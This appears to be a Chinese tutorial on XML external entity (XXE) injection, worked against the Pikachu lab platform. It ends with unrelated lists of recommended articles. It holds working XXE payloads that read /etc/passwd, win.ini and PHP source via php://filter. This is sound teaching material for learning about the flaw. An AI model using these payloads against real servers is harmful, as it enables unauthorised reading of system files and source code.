XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。

概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"

也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。

以PHP为例,在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,默认是禁止解析xml外部实体内容的。

第一部分:XML声明部分

<?xml version="1.0"?>

第二部分: 文档类型定义DTD

<!DOCTYPE note[<!-- 定义此文档是note类型的文档--><!ENTITY entity-name SYSTEM "URI/URL"><!--外部实体声明-->
]>

第三部分:文档元素

<note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body>
</note>

其中,DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。

1.内部申明DTD格式<!DOCTYPE 根元素 [元素申明]>

2.外部引用DTD格式<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">

3.引用公共DTD格式<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">

外部实体引用Payload

<?xml version="1.0"?><DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">]>
<x>&f;</x>

1.PHP中有一个函数 simplexml_load_string()将形式良好的xml字符串转换为SimpleXMLElement对象;

在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,

默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,Pikachu平台手动指定LIBXML_NOENT选项开启了xml外部实体解析。

2.先提交一个正常的xml数据

<?xml version="1.0"?><!DOCTYPE note [<!ENTITY hacker "test">
]><name>&hacker;</name>

3.如果我们提交下面这样的payload,就能看到服务器上的文件内容

<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///C://Windows//win.ini">
]><x>&f;</x>

4.尝试php伪协议,打印出了base64编码后的xxe.php页面,

<?xml version="1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]><x>&f;</x>

Pikachu-XXE(xml外部实体注入漏洞)相关推荐

  1. XXE(XML外部实体注入)漏洞

    如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...

  2. pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)

    目录 一.来自官方的介绍以及来自民间的扩展 1.pikachu官方简介 2.小女子之前画的脑图 3.两个不错的博客 二.小白菜的闯关 1.查看系统文件内容 2.查看php源代码 3.爆破开放端口 三. ...

  3. XML外部实体注入漏洞——XXE简单分析

    前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...

  4. PHP环境 XML外部实体注入漏洞

    PHP环境 XML外部实体注入漏洞 环境介绍 漏洞原理 漏洞复现 修补方案和建议 环境介绍 libxml 2.8.0 libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡.为了演示P ...

  5. Xml外部实体注入漏洞(XXE)与防护

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  6. XML 外部实体注入漏洞

    0x01 XXE(XML外部实体注入)漏洞 1.1 漏洞原因 1.2 漏洞构造方式 1.3 XML可解析的协议 0x02 寻找XXE漏洞隐藏的攻击面 2.1 XInclude攻击 2.2 通过文件上传 ...

  7. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

  8. XXE外部实体注入漏洞总结

    Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/cou ...

  9. XXE(XML外部实体注入)详解

    1. XXE漏洞描述 XXE(XML External Entity Injection)又称为"XML外部实体注入漏洞". 当允许引用外部实体时,通过构造恶意内容,就可能导致任意 ...

最新文章

  1. java判断栈空_java中栈的应用-判断分隔符是否合理
  2. 精选 Github 近期13款开源工具包!(附数据集、链接)
  3. css3 animatehue属性
  4. C# WinForm源码收集
  5. Python Module_os_操作系统
  6. win7 64+python2.7.12安装numpy+scipy+matplotlib+scikit-learn
  7. 无法隐藏php thinkphp,thinkphp 在隐藏index.php和Home模块时有问题
  8. 利用.NET Core类库System.Reflection.DispatchProxy实现简易Aop
  9. 微信小程序页面栈_微信小程序使用页面栈改变上一页面的数据
  10. 分类问题的模型评估指标总结
  11. EasyUI,对treegrid进行编辑
  12. zend 插件 html,插入自定义HTML到Zend_Form的
  13. 一键搞定JavaEE应用, JRE + Tomcat + Mysql - JaveEE绿色运行环境JTM0.9版,将web变得像桌面应用一样简单.
  14. C语言程序的undefined,c语言中undefined reference to 怎么解决
  15. 航空模型手工制作_小学生的简易航空模型地制作
  16. 知识点滴 - X射线和伽马射线有什么区别?
  17. Linux查看ice版本,转Linux下安装Ice过程
  18. 程序员和产品经理值得收藏的业务学习工具网站
  19. mPEG-Tert 甲氧基PEG叔丁酯
  20. Geotools中蜂巢的实现

热门文章

  1. 微型计算机所组装的流程图是,计算机、微型计算机的组成及工作过程.ppt
  2. linux欢迎信息打印本机ip,Linux shell 登录显示欢迎信息或机器信息(示例代码)
  3. 各种说明方法的答题格式_高中化学:选择题答题方法与知识点总结,让你轻松秒杀各种难题...
  4. logstash使用中遇到的问题
  5. 生成器——迭代器工作的工厂
  6. (最新合集)计算机网络谢希仁第七版 第三章课后答案
  7. LinkedBlockingQueue的put,take方法
  8. 图片怎么压缩图片大小_图片的体积怎么压缩?这三种方法你会吗?
  9. 专科学历事业单位工资计算机,事业单位人来告诉你:学历跟入编之后待遇关系有多大!很直接...
  10. 介绍一些平时用得到的服务/组件